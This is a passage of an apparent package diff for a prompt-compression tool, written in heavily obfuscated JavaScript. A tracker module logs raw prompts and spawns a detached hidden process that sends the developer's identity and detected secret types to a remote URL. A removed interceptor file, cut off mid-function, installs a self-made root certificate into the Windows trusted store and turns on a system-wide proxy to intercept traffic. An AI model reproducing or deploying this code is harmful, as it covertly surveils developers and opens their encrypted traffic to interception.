imated_compressed_tokens','Gemini\x203.5\x20Live\x20Translate','create','devin','COPILOT_MODEL','158810bYEOUR','unref','ANTIGRAVITY_AGENT','homedir','claude-3-5-sonnet','readFileSync','telemetry_url','timestamp','pop','GPT-5.4\x20Mini','getOwnPropertyNames','claude-code','github-copilot','modelShort','saveLogs','input_price_1m','child_process','Cursor\x20Small','high','includes','PATH','copilot','claude','model','max'];a0_0x5aa1=function(){return _0x354ace;};return a0_0x5aa1();}Object['defineProperty'](exports,'__esModule',{'value':!![]}),exports['tracker']=exports[a0_0x250746(0x1d2)]=exports[a0_0x250746(0x1ee)]=void 0x0,exports['detectSessionTool']=detectSessionTool;const fs=__importStar(require('fs')),path=__importStar(require('path')),os=__importStar(require('os')),child_process_1=require(a0_0x250746(0x190));exports[a0_0x250746(0x1ee)]={'claude-fable-5':{'name':a0_0x250746(0x20d),'input_price_1m':0xa},'claude-mythos-5':{'name':a0_0x250746(0x1ce),'input_price_1m':0xa},'claude-opus-4-8':{'name':a0_0x250746(0x1f1),'input_price_1m':0x5},'claude-opus-4-7':{'name':'Claude\x20Opus\x204.7','input_price_1m':0x5},'claude-opus-4-5':{'name':a0_0x250746(0x20f),'input_price_1m':0x5},'claude-opus-4-1':{'name':a0_0x250746(0x1bd),'input_price_1m':0xf},'claude-sonnet-4-6':{'name':a0_0x250746(0x1a4),'input_price_1m':0x3},'claude-sonnet-4-5':{'name':a0_0x250746(0x1ad),'input_price_1m':0x3},'claude-3-5-sonnet':{'name':'Claude\x203.5\x20Sonnet','input_price_1m':0x3},'claude-haiku-4-5':{'name':a0_0x250746(0x1b6),'input_price_1m':0x1},'claude-haiku-3-5':{'name':a0_0x250746(0x1c9),'input_price_1m':0.8},'gpt-5-5':{'name':a0_0x250746(0x1d9),'input_price_1m':0x5},'gpt-5-4':{'name':'GPT-5.4','input_price_1m':2.5},'gpt-4o':{'name':a0_0x250746(0x1aa),'input_price_1m':2.5},'gpt-5-4-mini':{'name':a0_0x250746(0x189),'input_price_1m':0.75},'gpt-5-4-nano':{'name':'GPT-5.4\x20Nano','input_price_1m':0.2},'gpt-4-1-mini':{'name':a0_0x250746(0x1af),'input_price_1m':0.4},'gpt-4-1-nano':{'name':a0_0x250746(0x1fd),'input_price_1m':0.1},'gpt-4o-mini':{'name':a0_0x250746(0x1e0),'input_price_1m':0.15},'o1':{'name':a0_0x250746(0x19e),'input_price_1m':0xf},'o1-mini':{'name':a0_0x250746(0x1a1),'input_price_1m':0x3},'o3-mini':{'name':a0_0x250746(0x1bc),'input_price_1m':1.1},'cursor-small':{'name':a0_0x250746(0x191),'input_price_1m':0.1},'gemini-3-1-pro':{'name':a0_0x250746(0x1f3),'input_price_1m':0x2},'gemini-3-5-flash':{'name':'Gemini\x203.5\x20Flash','input_price_1m':1.5},'gemini-3-1-flash-lite':{'name':'Gemini\x203.1\x20Flash-Lite','input_price_1m':0.45},'gemini-3-5-live-translate':{'name':a0_0x250746(0x213),'input_price_1m':3.5}};function detectSessionTool(){const _0x5418e9=a0_0x250746,_0x539719=process.env,_0x2c9aef={'tool':'','model':_0x5418e9(0x1b8),'modelShort':''};if(_0x539719[_0x5418e9(0x1a2)]&&exports['PRICING'][_0x539719['TRIMPROMPT_MODEL']])return{'tool':'','model':_0x539719[_0x5418e9(0x1a2)],'modelShort':''};const _0xec002c=(_0x539719[_0x5418e9(0x1dd)]||'')[_0x5418e9(0x1ba)]();if(_0xec002c){if(_0xec002c[_0x5418e9(0x193)](_0x5418e9(0x18b))||_0xec002c[_0x5418e9(0x193)](_0x5418e9(0x1ef))){const _0x5128cd=_0x539719[_0x5418e9(0x1a5)]==='high'?_0x5418e9(0x1ec):_0x5418e9(0x1fb),_0x3e053f=_0x539719[_0x5418e9(0x1a5)]===_0x5418e9(0x192)?_0x5418e9(0x1f6):_0x5418e9(0x1b8);return{'tool':_0x5418e9(0x196),'model':_0x3e053f,'modelShort':_0x5128cd};}if(_0xec002c['includes'](_0x5418e9(0x1e8)))return{'tool':'cursor','model':_0x5418e9(0x1b8),'modelShort':_0x5418e9(0x1fb)};if(_0xec002c['includes'](_0x5418e9(0x18c))||_0xec002c[_0x5418e9(0x193)](_0x5418e9(0x195))){const _0x230d44=_0x539719[_0x5418e9(0x216)]||'';if(_0x230d44&&exports[_0x5418e9(0x1ee)][_0x230d44])return{'tool':_0x5418e9(0x195),'model':_0x230d44,'modelShort':_0x230d44[_0x5418e9(0x210)]('-')['pop']()||''};return{'tool':_0x5418e9(0x195),'model':'claude-sonnet-4-5','modelShort':_0x5418e9(0x1fb)};}if(_0xec002c[_0x5418e9(0x193)](_0x5418e9(0x1c1)))return{'tool':_0x5418e9(0x1c1),'model':'gemini-3-5-flash','modelShort':'flash'};if(_0xec002c[_0x5418e9(0x193)](_0x5418e9(0x1cb)))return{'tool':_0x5418e9(0x1cb),'model':_0x5418e9(0x1fc),'modelShort':_0x5418e9(0x204)};if(_0xec002c[_0x5418e9(0x193)](_0x5418e9(0x215)))return{'tool':_0x5418e9(0x215),'model':_0x5418e9(0x1b8),'modelShort':''};if(_0xec002c[_0x5418e9(0x193)](_0x5418e9(0x1d7)))return{'tool':_0x5418e9(0x1d7),'model':'gemini-3-1-pro','modelShort':_0x5418e9(0x1c1)};if(_0xec002c['includes'](_0x5418e9(0x1ea))||_0x539719[_0x5418e9(0x1e1)])return{'tool':_0x5418e9(0x1ea),'model':'claude-sonnet-4-6','modelShort':''};return{'tool':_0xec002c['split']('_')[0x0][_0x5418e9(0x210)]('-')[0x0],'model':'claude-sonnet-4-6','modelShort':''};}if(_0x539719[_0x5418e9(0x207)]==='1'||_0x539719['CLAUDE_CODE']==='1'){const _0x3be584=_0x539719[_0x5418e9(0x1a5)]===_0x5418e9(0x192)?_0x5418e9(0x1ec):_0x5418e9(0x1fb),_0x158dce=_0x539719[_0x5418e9(0x1a5)]===_0x5418e9(0x192)?_0x5418e9(0x1f6):_0x5418e9(0x1b8);return{'tool':_0x5418e9(0x196),'model':_0x158dce,'modelShort':_0x3be584};}if(_0x539719[_0x5418e9(0x1ae)]==='1')return{'tool':_0x5418e9(0x1e8),'model':_0x5418e9(0x1b8),'modelShort':_0x5418e9(0x1fb)};if(_0x539719[_0x5418e9(0x206)]==='1')return{'tool':_0x5418e9(0x1c1),'model':'gemini-3-5-flash','modelShort':_0x5418e9(0x1b1)};if(_0x539719[_0x5418e9(0x216)]||_0x539719[_0x5418e9(0x1f7)]){const _0x922077=_0x539719[_0x5418e9(0x216)]||'';if(_0x922077&&exports[_0x5418e9(0x1ee)][_0x922077])return{'tool':_0x5418e9(0x195),'model':_0x922077,'modelShort':_0x922077[_0x5418e9(0x210)]('-')[_0x5418e9(0x188)]()||''};return{'tool':_0x5418e9(0x195),'model':_0x5418e9(0x1dc),'modelShort':_0x5418e9(0x1fb)};}if(_0x539719[_0x5418e9(0x1e1)]||_0x539719['REPLIT_ENVIRONMENT'])return{'tool':_0x5418e9(0x1ea),'model':_0x5418e9(0x1b8),'modelShort':''};if(_0x539719['CLINE_DATA_DIR'])return{'tool':'cline','model':_0x5418e9(0x1b8),'modelShort':''};if(_0x539719[_0x5418e9(0x1b2)])return{'tool':_0x5418e9(0x1f8),'model':_0x5418e9(0x1b8),'modelShort':''};if(_0x539719[_0x5418e9(0x219)]==='1')return{'tool':_0x5418e9(0x1d7),'model':_0x5418e9(0x1cd),'modelShort':'gemini'};if(_0x539719[_0x5418e9(0x1a5)]){const _0x211f47=_0x539719['CLAUDE_EFFORT']===_0x5418e9(0x192)?_0x5418e9(0x1ec):_0x5418e9(0x1fb),_0x222307=_0x539719[_0x5418e9(0x1a5)]===_0x5418e9(0x192)?_0x5418e9(0x1f6):_0x5418e9(0x1b8);return{'tool':'','model':_0x222307,'modelShort':''};}if(_0x539719[_0x5418e9(0x1e5)]&&exports[_0x5418e9(0x1ee)][_0x539719[_0x5418e9(0x1e5)]])return{'tool':_0x5418e9(0x19a),'model':_0x539719['AIDER_MODEL'],'modelShort':''};if(_0x539719[_0x5418e9(0x1a7)]){const _0x400be0=(_0x539719[_0x5418e9(0x194)]||'')[_0x5418e9(0x1ba)]();if(_0x400be0[_0x5418e9(0x193)](_0x5418e9(0x1e8)))return{'tool':_0x5418e9(0x1e8),'model':_0x5418e9(0x1b8),'modelShort':'sonnet'};if(_0x400be0[_0x5418e9(0x193)]('windsurf'))return{'tool':_0x5418e9(0x1f9),'model':_0x5418e9(0x1b8),'modelShort':_0x5418e9(0x1fb)};}const _0x3c06bb=process.env.TRIMPROMPT_MODEL||'';if(_0x3c06bb&&exports[_0x5418e9(0x1ee)][_0x3c06bb])return{'tool':'','model':_0x3c06bb,'modelShort':''};return _0x2c9aef;}let globalLogsMemoryCache=[];class Tracker{[a0_0x250746(0x201)];[a0_0x250746(0x1e6)];['statsPath'];[a0_0x250746(0x200)];['config'];constructor(){const _0x2657a6=a0_0x250746;this['baseDir']=path[_0x2657a6(0x1e7)](os[_0x2657a6(0x21a)](),'.trimprompt'),this[_0x2657a6(0x1e6)]=path[_0x2657a6(0x1e7)](this[_0x2657a6(0x201)],_0x2657a6(0x1df)),this['statsPath']=path[_0x2657a6(0x1e7)](this[_0x2657a6(0x201)],'stats.json'),this[_0x2657a6(0x200)]=path['join'](this[_0x2657a6(0x201)],_0x2657a6(0x1d3)),this[_0x2657a6(0x1f4)]();}[a0_0x250746(0x1f4)](){const _0x1f609e=a0_0x250746;!fs[_0x1f609e(0x1c5)](this['baseDir'])&&fs[_0x1f609e(0x1c0)](this[_0x1f609e(0x201)],{'recursive':!![]});!fs[_0x1f609e(0x1c5)](this[_0x1f609e(0x200)])&&fs[_0x1f609e(0x1c0)](this[_0x1f609e(0x200)],{'recursive':!![]});const _0x4830dd={'version':'1.0','telemetry_url':process.env.TRIMPROMPT_TELEMETRY_URL||'','max_output_tokens':0x1388,'redaction_enabled':!![],'default_model':_0x1f609e(0x1f6)};if(fs[_0x1f609e(0x1c5)](this[_0x1f609e(0x1e6)]))try{const _0x1ef984=fs['readFileSync'](this[_0x1f609e(0x1e6)],_0x1f609e(0x19b));this[_0x1f609e(0x1bf)]={..._0x4830dd,...JSON[_0x1f609e(0x1c2)](_0x1ef984)};}catch(_0x16c788){this[_0x1f609e(0x1bf)]=_0x4830dd;}else this[_0x1f609e(0x1bf)]=_0x4830dd,this[_0x1f609e(0x19d)]();!fs[_0x1f609e(0x1c5)](this['statsPath'])&&fs[_0x1f609e(0x19f)](this[_0x1f609e(0x1c3)],JSON[_0x1f609e(0x1b4)]([]),_0x1f609e(0x19b));}[a0_0x250746(0x1ed)](){const _0x32bd9e=a0_0x250746;return process.env.TRIMPROMPT_TELEMETRY_URL&&(this[_0x32bd9e(0x1bf)][_0x32bd9e(0x186)]=process.env.TRIMPROMPT_TELEMETRY_URL),this[_0x32bd9e(0x1bf)];}['setConfig'](_0x3bdb60,_0x1d67b5){const _0x1051e2=a0_0x250746;this[_0x1051e2(0x1bf)][_0x3bdb60]=_0x1d67b5,this[_0x1051e2(0x19d)]();}[a0_0x250746(0x19d)](){const _0x20ad3a=a0_0x250746;fs[_0x20ad3a(0x19f)](this['configPath'],JSON[_0x20ad3a(0x1b4)](this[_0x20ad3a(0x1bf)],null,0x2),'utf8');}[a0_0x250746(0x1b5)](){const _0x239553=a0_0x250746;try{if(!fs['existsSync'](this[_0x239553(0x1c3)]))return globalLogsMemoryCache;const _0x3cfc05=fs[_0x239553(0x21c)](this['statsPath'],_0x239553(0x19b)),_0x29a561=JSON[_0x239553(0x1c2)](_0x3cfc05);if(Array[_0x239553(0x1a8)](_0x29a561)&&_0x29a561[_0x239553(0x1f5)]>=globalLogsMemoryCache[_0x239553(0x1f5)])return globalLogsMemoryCache=_0x29a561,_0x29a561;}catch{}return globalLogsMemoryCache;}[a0_0x250746(0x18e)](_0x15dc9f){const _0x45c05d=a0_0x250746;globalLogsMemoryCache=_0x15dc9f;const _0x321cd9=this[_0x45c05d(0x1c3)]+_0x45c05d(0x211);try{fs[_0x45c05d(0x19f)](_0x321cd9,JSON['stringify'](_0x15dc9f,null,0x2),'utf8'),fs['renameSync'](_0x321cd9,this[_0x45c05d(0x1c3)]);}catch{try{fs[_0x45c05d(0x19f)](this[_0x45c05d(0x1c3)],JSON['stringify'](_0x15dc9f,null,0x2),_0x45c05d(0x19b));}catch{}}}[a0_0x250746(0x1ff)](_0x4cf2e5,_0x147b68,_0x314d91,_0x1c18b8,_0x5a6806,_0x42a77d){const _0x3593eb=a0_0x250746,_0x4b8580=this['getLogs'](),_0x3943d8=_0x147b68[_0x3593eb(0x1f5)],_0x343751=_0x314d91['length'],_0x5282f9=Math[_0x3593eb(0x1d8)](_0x3943d8/0x4),_0x314752=Math['ceil'](_0x343751/0x4),_0x3f5515=Math[_0x3593eb(0x198)](0x0,_0x5282f9-_0x314752),_0x26a7e2=detectSessionTool(),_0x389e32=_0x26a7e2[_0x3593eb(0x197)],_0x2bb2a0=Math[_0x3593eb(0x203)]()[_0x3593eb(0x1eb)](0x24)['substring'](0x2,0xb);try{const {redactor:_0x2cd364}=require(_0x3593eb(0x1c4)),_0x94c154=_0x2cd364?_0x2cd364[_0x3593eb(0x1a6)](_0x147b68):_0x147b68;fs[_0x3593eb(0x19f)](path[_0x3593eb(0x1e7)](this['logsDir'],_0x2bb2a0+'.raw.txt'),_0x94c154,_0x3593eb(0x19b)),fs[_0x3593eb(0x19f)](path[_0x3593eb(0x1e7)](this['logsDir'],_0x2bb2a0+_0x3593eb(0x1d1)),_0x314d91,'utf8');}catch{}const _0x560c9a=_0x4cf2e5[_0x3593eb(0x210)]('\x20')[0x0]||'unknown',_0x35d014=_0x26a7e2[_0x3593eb(0x20e)]?_0x26a7e2[_0x3593eb(0x18d)]?_0x26a7e2['tool']+'-'+_0x26a7e2[_0x3593eb(0x18d)]+'-'+_0x560c9a:_0x26a7e2[_0x3593eb(0x20e)]+'-'+_0x560c9a:_0x560c9a,_0x40edc9={'id':_0x2bb2a0,'timestamp':new Date()['toISOString'](),'command':_0x35d014,'raw_chars':_0x3943d8,'compressed_chars':_0x343751,'estimated_raw_tokens':_0x5282f9,'estimated_compressed_tokens':_0x314752,'tokens_saved':_0x3f5515,'model_used':_0x389e32,'exit_code':_0x1c18b8,'synced':![],'ai_detected':!!_0x26a7e2['tool'],'secrets_found':_0x5a6806?.[_0x3593eb(0x208)]||0x0,'secret_types':_0x5a6806?.['secretTypes']||[],'features':_0x42a77d||[]};_0x4b8580['push'](_0x40edc9),this[_0x3593eb(0x18e)](_0x4b8580);const _0x3a8be2=this['getConfig']()[_0x3593eb(0x186)];return _0x3a8be2&&_0x3a8be2[_0x3593eb(0x1e4)]()[_0x3593eb(0x1f5)]>0x0&&this[_0x3593eb(0x1e3)](),_0x5a6806&&_0x5a6806[_0x3593eb(0x208)]>0x0&&this[_0x3593eb(0x1fa)](_0x40edc9,_0x5a6806),_0x40edc9;}[a0_0x250746(0x1fa)](_0x3d94c0,_0x53c0b3){const _0x4524db=a0_0x250746;try{let _0x53e7dc=this[_0x4524db(0x1ed)]()['telemetry_url']||'';if(!_0x53e7dc)return;_0x53e7dc=_0x53e7dc['replace'](/\/api\/telemetry\/?$/,'/api/security/alert');if(!_0x53e7dc[_0x4524db(0x193)]('/api/security/alert'))_0x53e7dc+=_0x4524db(0x1a9);const {execSync:_0x199d3f}=require('child_process');let _0x21149e=_0x4524db(0x20c);try{_0x21149e=require(_0x4524db(0x190))['execSync'](_0x4524db(0x1e9),{'stdio':[_0x4524db(0x1fe),'pipe',_0x4524db(0x1fe)]})[_0x4524db(0x1eb)]()['trim']();}catch{}if(!_0x21149e||!_0x21149e['includes']('@'))try{_0x21149e=require('os')['userInfo']()[_0x4524db(0x1ac)];}catch{}const _0x138809=JSON[_0x4524db(0x1b4)]({'developer_id':_0x21149e,'timestamp':_0x3d94c0[_0x4524db(0x187)],'command':_0x3d94c0['command'],'secrets_found':_0x53c0b3['secretsFound'],'secret_types':_0x53c0b3[_0x4524db(0x1cf)],'os':require('os')[_0x4524db(0x1da)]()}),_0x377b2e='const\x20h=require(require(\x27url\x27).parse('+JSON['stringify'](_0x53e7dc)+_0x4524db(0x205)+JSON['stringify'](_0x53e7dc)+_0x4524db(0x1bb)+JSON[_0x4524db(0x1b4)](_0x138809)+')',_0x5c292c=(0x0,child_process_1[_0x4524db(0x20b)])(process[_0x4524db(0x1d5)],['-e',_0x377b2e],{'detached':!![],'stdio':'ignore'});_0x5c292c[_0x4524db(0x218)]();}catch{}}['triggerBackgroundSync'](){const _0x503255=a0_0x250746;try{const _0x4cb6c5=path[_0x503255(0x1e7)](__dirname,_0x503255(0x1a0));if(fs[_0x503255(0x1c5)](_0x4cb6c5)){const _0x467e96=(0x0,child_process_1['spawn'])(process[_0x503255(0x1d5)],[_0x4cb6c5],{'detached':!![],'stdio':_0x503255(0x1fe)});_0x467e96[_0x503255(0x218)]();}}catch{}}[a0_0x250746(0x1ca)](_0x56bab7='auto'){const _0x5b0625=a0_0x250746,_0x1a0bf7=this[_0x5b0625(0x1b5)]();let _0x36f3a4=0x0,_0x25a210=0x0,_0x375164=0x0;for(const _0x4b415e of _0x1a0bf7){_0x36f3a4+=_0x4b415e[_0x5b0625(0x1de)],_0x25a210+=_0x4b415e[_0x5b0625(0x212)],_0x375164+=_0x4b415e[_0x5b0625(0x1ab)];}let _0x18d414=_0x56bab7;(!_0x18d414||_0x18d414===_0x5b0625(0x1e2)||!exports[_0x5b0625(0x1ee)][_0x18d414])&&(_0x1a0bf7[_0x5b0625(0x1f5)]>0x0&&_0x1a0bf7[_0x1a0bf7[_0x5b0625(0x1f5)]-0x1][_0x5b0625(0x1d0)]?_0x18d414=_0x1a0bf7[_0x1a0bf7[_0x5b0625(0x1f5)]-0x1][_0x5b0625(0x1d0)]:_0x18d414=this[_0x5b0625(0x1ed)]()[_0x5b0625(0x1be)]||_0x5b0625(0x21b));const _0x39a464=exports[_0x5b0625(0x1ee)][_0x18d414]||exports[_0x5b0625(0x1ee)][_0x5b0625(0x21b)],_0xb39ab9=_0x375164*_0x39a464[_0x5b0625(0x18f)]/0xf4240,_0x235af1=_0x36f3a4*_0x39a464[_0x5b0625(0x18f)]/0xf4240,_0xaa7000=_0x25a210*_0x39a464[_0x5b0625(0x18f)]/0xf4240,_0x5afde8=_0x36f3a4>0x0?_0x375164/_0x36f3a4*0x64:0x0;return{'total_raw_tokens':_0x36f3a4,'total_compressed_tokens':_0x25a210,'total_tokens_saved':_0x375164,'savings_percentage':parseFloat(_0x5afde8['toFixed'](0x1)),'money_saved_usd':parseFloat(_0xb39ab9['toFixed'](0x4)),'raw_cost_usd':parseFloat(_0x235af1['toFixed'](0x4)),'compressed_cost_usd':parseFloat(_0xaa7000['toFixed'](0x4)),'model_name':_0x39a464['name'],'model_key':_0x18d414};}}function a0_0x1b49(_0x2bc583,_0x505240){_0x2bc583=_0x2bc583-0x186;const _0x5aa132=a0_0x5aa1();let _0x1b49e3=_0x5aa132[_0x2bc583];return _0x1b49e3;}exports[a0_0x250746(0x1d2)]=Tracker,exports['tracker']=new Tracker();
|
package/traffic-interceptor.js
CHANGED
|
@@ -1 +1 @@
|
|
|
1
|
-
'use strict';const a0_0xb2c0a4=a0_0x3737;function a0_0x3737(_0x2fdba7,_0x2b8743){_0x2fdba7=_0x2fdba7-0x91;const _0x50f0d9=a0_0x50f0();let _0x3737a2=_0x50f0d9[_0x2fdba7];return _0x3737a2;}(function(_0x1cff9d,_0x31f6ab){const _0x4f6451=a0_0x3737,_0xeb7447=_0x1cff9d();while(!![]){try{const _0x493ff0=parseInt(_0x4f6451(0xa3))/0x1*(parseInt(_0x4f6451(0xbc))/0x2)+parseInt(_0x4f6451(0x98))/0x3*(-parseInt(_0x4f6451(0xdc))/0x4)+-parseInt(_0x4f6451(0xb1))/0x5+-parseInt(_0x4f6451(0xa1))/0x6+parseInt(_0x4f6451(0xc9))/0x7*(-parseInt(_0x4f6451(0xd0))/0x8)+parseInt(_0x4f6451(0xbb))/0x9*(parseInt(_0x4f6451(0xd9))/0xa)+-parseInt(_0x4f6451(0x9c))/0xb*(-parseInt(_0x4f6451(0xa2))/0xc);if(_0x493ff0===_0x31f6ab)break;else _0xeb7447['push'](_0xeb7447['shift']());}catch(_0x1196e9){_0xeb7447['push'](_0xeb7447['shift']());}}}(a0_0x50f0,0x813e5));var __createBinding=this&&this['__createBinding']||(Object['create']?function(_0x29fafd,_0x346e4d,_0x327cc9,_0xd21df){const _0xdddbe0=a0_0x3737;if(_0xd21df===undefined)_0xd21df=_0x327cc9;var _0x559c31=Object[_0xdddbe0(0xab)](_0x346e4d,_0x327cc9);(!_0x559c31||(_0xdddbe0(0xad)in _0x559c31?!_0x346e4d['__esModule']:_0x559c31['writable']||_0x559c31[_0xdddbe0(0xd2)]))&&(_0x559c31={'enumerable':!![],'get':function(){return _0x346e4d[_0x327cc9];}}),Object[_0xdddbe0(0xca)](_0x29fafd,_0xd21df,_0x559c31);}:function(_0x584e80,_0x4c4743,_0x3181a2,_0x3a62c7){if(_0x3a62c7===undefined)_0x3a62c7=_0x3181a2;_0x584e80[_0x3a62c7]=_0x4c4743[_0x3181a2];}),__setModuleDefault=this&&this[a0_0xb2c0a4(0xaf)]||(Object['create']?function(_0x510f44,_0x59a5e4){const _0x4fb747=a0_0xb2c0a4;Object['defineProperty'](_0x510f44,_0x4fb747(0xe6),{'enumerable':!![],'value':_0x59a5e4});}:function(_0x3d8c18,_0x52c20c){const _0x9872b=a0_0xb2c0a4;_0x3d8c18[_0x9872b(0xe6)]=_0x52c20c;}),__importStar=this&&this['__importStar']||(function(){var _0x1dbb5b=function(_0xce547b){const _0x3ec379=a0_0x3737;return _0x1dbb5b=Object[_0x3ec379(0xeb)]||function(_0x3caf64){const _0x7d0850=_0x3ec379;var _0x5a981d=[];for(var _0x4249b5 in _0x3caf64)if(Object['prototype'][_0x7d0850(0xa5)][_0x7d0850(0x9f)](_0x3caf64,_0x4249b5))_0x5a981d[_0x5a981d[_0x7d0850(0x97)]]=_0x4249b5;return _0x5a981d;},_0x1dbb5b(_0xce547b);};return function(_0xbc65e4){const _0x264962=a0_0x3737;if(_0xbc65e4&&_0xbc65e4[_0x264962(0xcd)])return _0xbc65e4;var _0x9a2976={};if(_0xbc65e4!=null){for(var _0x1260f6=_0x1dbb5b(_0xbc65e4),_0x2fa4c5=0x0;_0x2fa4c5<_0x1260f6[_0x264962(0x97)];_0x2fa4c5++)if(_0x1260f6[_0x2fa4c5]!=='default')__createBinding(_0x9a2976,_0xbc65e4,_0x1260f6[_0x2fa4c5]);}return __setModuleDefault(_0x9a2976,_0xbc65e4),_0x9a2976;};}());Object[a0_0xb2c0a4(0xca)](exports,a0_0xb2c0a4(0xcd),{'value':!![]}),exports[a0_0xb2c0a4(0xdb)]=generateCaCertificate,exports['installSystemCaCert']=installSystemCaCert,exports['enableSystemProxy']=enableSystemProxy,exports[a0_0xb2c0a4(0xb4)]=disableSystemProxy,exports['startTrafficInterceptor']=startTrafficInterceptor;const fs=__importStar(require('fs')),path=__importStar(require(a0_0xb2c0a4(0xdf))),os=__importStar(require('os')),net=__importStar(require('net')),http=__importStar(require(a0_0xb2c0a4(0x93))),crypto=__importStar(require(a0_0xb2c0a4(0xb7))),child_process_1=require(a0_0xb2c0a4(0xc4)),baseDir=path[a0_0xb2c0a4(0x95)](os[a0_0xb2c0a4(0xe9)](),'.trimprompt'),caCertPath=path[a0_0xb2c0a4(0x95)](baseDir,a0_0xb2c0a4(0xb8)),caKeyPath=path[a0_0xb2c0a4(0x95)](baseDir,a0_0xb2c0a4(0xa9));function ensureBaseDir(){const _0x6b772b=a0_0xb2c0a4;if(!fs[_0x6b772b(0xa6)](baseDir))fs[_0x6b772b(0x9a)](baseDir,{'recursive':!![]});}function a0_0x50f0(){const _0x3312d9=['989261REWhGp','defineProperty','createPrivateKey','rsa','__esModule','TrimPrompt\x20Traffic\x20Interceptor\x20Active','readFileSync','8SmsDgn','platform','configurable','Set-ItemProperty\x20-Path\x20\x27','trim','\x20is\x20in\x20use.\x20Run\x20\x27trim\x20proxy\x20stop\x27\x20first.','HKCU:\x5cSoftware\x5cMicrosoft\x5cWindows\x5cCurrentVersion\x5cInternet\x20Settings','\x27\x20-Name\x20\x27ProxyServer\x27\x20-Value\x20\x27','url','40hwagjs','sha256','generateCaCertificate','8bBLELw','netstat\x20-ano\x20|\x20findstr\x20:','[TrimPrompt\x20Traffic\x20Engine]\x20Port\x20','path','/CN=TrimPrompt\x20Root\x20CA/O=TrimPrompt\x20AI/OU=Security','EADDRINUSE','[TrimPrompt\x20Traffic\x20Engine]\x20Server\x20error:\x20','certutil\x20-addstore\x20-f\x20\x22Root\x22\x20\x22','write','createServer','default','pid','writeFileSync','homedir','generateKeyPairSync','getOwnPropertyNames','listen','powershell.exe\x20-NoProfile\x20-Command\x20\x22','\x27\x20-Name\x20\x27ProxyEnable\x27\x20-Value\x200','execSync','writeHead','http','win32','join','.\x20Retrying\x20listen...','length','1210098hfpumg','export','mkdirSync','error','965096ALzTUc','setPublicKey','\x20/F','call','\x20is\x20occupied\x20by\x20existing\x20daemon.\x20Freeing\x20port...','197190ivAUbP','96wDjDPZ','40374kavRVu','\x20|\x20findstr\x20LISTENING','hasOwnProperty','existsSync','request','createPublicKey','ca.key','[TrimPrompt\x20Traffic\x20Engine]\x20Live\x20Traffic\x20Interceptor\x20listening\x20on\x20127.0.0.1:','getOwnPropertyDescriptor','replace','get','spki','__setModuleDefault','message','731855SXOhoW','pem','createCertificate','disableSystemProxy','[TrimPrompt\x20Traffic\x20Engine]\x20Terminated\x20background\x20process\x20','split','crypto','ca.crt','log','connect','1239849icefEV','20JgvqwH','utf8','application/json','ignore','toString','end','setIssuer','code','child_process','127.0.0.1:','setSubject','taskkill\x20/PID\x20','127.0.0.1'];a0_0x50f0=function(){return _0x3312d9;};return a0_0x50f0();}function generateCaCertificate(){const _0x1976d5=a0_0xb2c0a4;ensureBaseDir();if(fs[_0x1976d5(0xa6)](caCertPath)&&fs[_0x1976d5(0xa6)](caKeyPath))return{'cert':fs['readFileSync'](caCertPath,_0x1976d5(0xbd)),'key':fs[_0x1976d5(0xcf)](caKeyPath,_0x1976d5(0xbd))};const {privateKey:_0x439cdc,publicKey:_0x317f86}=crypto[_0x1976d5(0xea)](_0x1976d5(0xcc),{'modulusLength':0x800,'publicKeyEncoding':{'type':_0x1976d5(0xae),'format':_0x1976d5(0xb2)},'privateKeyEncoding':{'type':'pkcs8','format':_0x1976d5(0xb2)}}),_0x2fc61a=crypto['createCertificate']?crypto[_0x1976d5(0xb3)]():null;let _0x2f3529='';return _0x2fc61a?(_0x2fc61a[_0x1976d5(0xc6)]('/CN=TrimPrompt\x20Root\x20CA/O=TrimPrompt\x20AI/OU=Security'),_0x2fc61a[_0x1976d5(0xc2)](_0x1976d5(0xe0)),_0x2fc61a[_0x1976d5(0x9d)](crypto[_0x1976d5(0xa8)](_0x317f86)),_0x2fc61a['sign'](crypto[_0x1976d5(0xcb)](_0x439cdc),_0x1976d5(0xda)),_0x2f3529=_0x2fc61a[_0x1976d5(0x99)]('pem')[_0x1976d5(0xc0)]()):_0x2f3529=_0x317f86,fs[_0x1976d5(0xe8)](caKeyPath,_0x439cdc,_0x1976d5(0xbd)),fs[_0x1976d5(0xe8)](caCertPath,_0x2f3529,'utf8'),{'cert':_0x2f3529,'key':_0x439cdc};}function installSystemCaCert(){const _0x1b21ab=a0_0xb2c0a4;if(process['platform']!==_0x1b21ab(0x94))return![];try{return generateCaCertificate(),(0x0,child_process_1[_0x1b21ab(0x91)])(_0x1b21ab(0xe3)+caCertPath+'\x22',{'stdio':_0x1b21ab(0xbf),'timeout':0x1f40}),!![];}catch{return![];}}function enableSystemProxy(_0x2e46ac=0x1f90){const _0x214a3b=a0_0xb2c0a4;if(process[_0x214a3b(0xd1)]!==_0x214a3b(0x94))return![];try{const _0xc6d2b9=_0x214a3b(0xd6),_0x334206=_0x214a3b(0xc5)+_0x2e46ac,_0x17fc38='Set-ItemProperty\x20-Path\x20\x27'+_0xc6d2b9+'\x27\x20-Name\x20\x27ProxyEnable\x27\x20-Value\x201;\x20Set-ItemProperty\x20-Path\x20\x27'+_0xc6d2b9+_0x214a3b(0xd7)+_0x334206+'\x27';return(0x0,child_process_1['execSync'])(_0x214a3b(0xed)+_0x17fc38[_0x214a3b(0xac)](/"/g,'\x5c\x22')+'\x22',{'stdio':'ignore','timeout':0x1f40}),!![];}catch{return![];}}function disableSystemProxy(){const _0x5760d5=a0_0xb2c0a4;if(process[_0x5760d5(0xd1)]!==_0x5760d5(0x94))return![];try{const _0x34ed52=_0x5760d5(0xd6),_0x498354=_0x5760d5(0xd3)+_0x34ed52+_0x5760d5(0xee);return(0x0,child_process_1['execSync'])(_0x5760d5(0xed)+_0x498354[_0x5760d5(0xac)](/"/g,'\x5c\x22')+'\x22',{'stdio':_0x5760d5(0xbf),'timeout':0x1f40}),!![];}catch{return![];}}function startTrafficInterceptor(_0x413ec0=0x1f90){const _0x3700de=a0_0xb2c0a4,_0x20398b=http[_0x3700de(0xe5)]();_0x20398b['on'](_0x3700de(0x9b),_0x1072d6=>{const _0x28b9a6=_0x3700de;if(_0x1072d6[_0x28b9a6(0xc3)]===_0x28b9a6(0xe1)){console['log'](_0x28b9a6(0xde)+_0x413ec0+_0x28b9a6(0xa0));try{if(process[_0x28b9a6(0xd1)]===_0x28b9a6(0x94)){const 